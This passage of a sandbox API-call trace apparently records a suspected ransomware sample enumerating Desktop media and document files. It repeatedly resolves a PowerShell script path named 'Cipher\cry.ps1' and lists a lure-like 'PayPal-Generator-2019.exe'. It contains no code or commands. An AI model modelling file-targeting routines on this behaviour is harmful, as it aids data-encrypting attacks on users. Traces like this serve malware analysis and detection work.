QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 0x20 [0116.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0116.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0116.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\qn-c1sb2e4btdx0 wrx.jpg")) returned 0x20 [0116.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\v8Yq.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\v8yq.rtf")) returned 0x20 [0116.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 0x20 [0116.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0116.158] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0116.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.159] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 0x20 [0116.159] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\2T IWfJ9eBqM5_-.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\2t iwfj9ebqm5_-.m4a")) returned 0x20 [0116.159] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\5UEdbrOtZTvQPXdz.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\5uedbrotztvqpxdz.flv")) returned 0x20 [0116.159] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\70SXSf273si.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\70sxsf273si.m4a")) returned 0x20 [0116.159] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 0x20 [0116.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0116.159] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3", lpFilePart=0x0) returned 0x2c [0116.160] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.160] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\AzQwVoefGF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\azqwvoefgf.mp3")) returned 0x20 [0116.160] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 0x20 [0116.160] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0116.160] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3", lpFilePart=0x0) returned 0x2e [0116.160] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.160] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\C0E9wIGvGzF-.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\c0e9wigvgzf-.mp3")) returned 0x20 [0116.161] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 0x20 [0116.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0116.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0116.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.161] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 0x20 [0116.161] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 0x20 [0116.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0116.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0116.161] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.162] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 0x20 [0116.162] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 0x20 [0116.162] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0116.162] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0116.162] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.162] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 0x20 [0116.162] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FS4YjwfMXuHPvOM.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fs4yjwfmxuhpvom.pptx")) returned 0x20 [0116.162] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 0x20 [0116.163] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0116.163] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3", lpFilePart=0x0) returned 0x31 [0116.163] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.163] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\H7vUBSujwcgyM4U.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\h7vubsujwcgym4u.mp3")) returned 0x20 [0116.163] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 0x20 [0116.163] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0116.163] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3", lpFilePart=0x0) returned 0x2c [0116.163] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.163] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\I0i3yftI1x.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\i0i3yfti1x.mp3")) returned 0x20 [0116.164] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\J4buaWxCLD98 zkL.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\j4buawxcld98 zkl.swf")) returned 0x20 [0116.164] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 0x20 [0116.164] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0116.164] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav", lpFilePart=0x0) returned 0x35 [0116.164] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.164] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\KUODyadDcFJDHZ5D5Sn.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kuodyaddcfjdhz5d5sn.wav")) returned 0x20 [0116.164] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\l4SITl7bmY3hAAjFTI.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\l4sitl7bmy3haajfti.m4a")) returned 0x20 [0116.164] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\L7UMq.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\l7umq.mkv")) returned 0x20 [0116.165] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\LKT_.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lkt_.odt")) returned 0x20 [0116.165] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Lr5i13y.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lr5i13y.swf")) returned 0x20 [0116.165] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 0x20 [0116.165] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0116.165] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp", lpFilePart=0x0) returned 0x34 [0116.165] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.165] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OqtVBc3Qo2qAnhFLH2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oqtvbc3qo2qanhflh2.bmp")) returned 0x20 [0116.165] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 0x20 [0116.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0116.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3", lpFilePart=0x0) returned 0x30 [0116.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.166] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\pAQR6Uhb8oyXxz.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paqr6uhb8oyxxz.mp3")) returned 0x20 [0116.166] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\paypal-generator-2019.exe")) returned 0x20 [0116.166] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 0x20 [0116.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0116.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0116.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.167] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 0x20 [0116.167] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 0x20 [0116.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0116.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3", lpFilePart=0x0) returned 0x33 [0116.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.167] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\tjvnS0CLvj8W45c1R.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\tjvns0clvj8w45c1r.mp3")) returned 0x20 [0116.167] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 0x20 [0116.168] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0116.168] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3", lpFilePart=0x0) returned 0x2b [0116.168] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.168] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\u-lj86MkJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u-lj86mkj.mp3")) returned 0x20 [0116.168] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U0KJHh8Q_f.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u0kjhh8q_f.odt")) returned 0x20 [0116.168] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\uiDmTuITnv-lLb.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\uidmtuitnv-llb.flv")) returned 0x20 [0116.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 0x20 [0116.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0116.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", nBufferLength=0x105, lpBuffer=0x99ae6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3", lpFilePart=0x0) returned 0x2b [0116.169] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.169] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WSBLdWYpk.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wsbldwypk.mp3")) returned 0x20 [0116.169] GetFileAttributesW 